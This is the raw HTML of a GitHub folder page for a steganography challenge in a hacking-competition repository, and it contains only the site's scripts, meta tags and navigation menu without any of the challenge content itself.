src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-418a6ca0b68e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-e3158640550e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-9e6be7d1d213.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-9037f3852396.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-fe0b8ccc90a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-527f0bbbe6fb.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-a5dd5c19bf8b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-2ab1917d1859.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>2022-finale/STEGANOGRAPHY/Electro Music Dance/wu at main · ChallengeHackDay/2022-finale · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="AE1D:E517:6A496B6:6D75A1F:6415DF98" data-pjax-transient="true"/><meta name="html-safe-nonce" content="7d1c07675549c61f7deaf77b1f6341fffaa00423b745210ce3f8c2eb699c15d5" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRTFEOkU1MTc6NkE0OTZCNjo2RDc1QTFGOjY0MTVERjk4IiwidmlzaXRvcl9pZCI6IjIzMzE0NTI3MjQwNTc4NTc5NDQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="f60e813c0d7d5d5071f0c8ffafd1a24cb7db486f1fce25953d54a2f352876158" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:494566828" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to ChallengeHackDay/2022-finale development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/9c76cd51ee49c60233ed51ed31768b946fafa169a858e5ae0ea37d96da60d6ea/ChallengeHackDay/2022-finale" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="2022-finale/STEGANOGRAPHY/Electro Music Dance/wu at main · ChallengeHackDay/2022-finale" /><meta name="twitter:description" content="Contribute to ChallengeHackDay/2022-finale development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/9c76cd51ee49c60233ed51ed31768b946fafa169a858e5ae0ea37d96da60d6ea/ChallengeHackDay/2022-finale" /><meta property="og:image:alt" content="Contribute to ChallengeHackDay/2022-finale development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="2022-finale/STEGANOGRAPHY/Electro Music Dance/wu at main · ChallengeHackDay/2022-finale" /><meta property="og:url" content="https://github.com/ChallengeHackDay/2022-finale" /><meta property="og:description" content="Contribute to ChallengeHackDay/2022-finale development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="3d0bcceda50a33021b6acf5f2b3c87b4e67a330b4ed52def928fd7042ec3d4b3" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="776b756f3fe9af8e63b3d01daee3ed34949044c6d0a6b2c6945804a488990c94" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="43b709a171726d1ce3d1f0f06b9ecf0337dba6882ddca38fd49dcd537279ca88" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/ChallengeHackDay/2022-finale git https://github.com/ChallengeHackDay/2022-finale.git">
<meta name="octolytics-dimension-user_id" content="105941852" /><meta name="octolytics-dimension-user_login" content="ChallengeHackDay" /><meta name="octolytics-dimension-repository_id" content="494566828" /><meta name="octolytics-dimension-repository_nwo" content="ChallengeHackDay/2022-finale" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="494566828" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ChallengeHackDay/2022-finale" />
<link rel="canonical" href="https://github.com/ChallengeHackDay/2022-finale/tree/main/STEGANOGRAPHY/Electro%20Music%20Dance/wu" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-1d7343564027.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
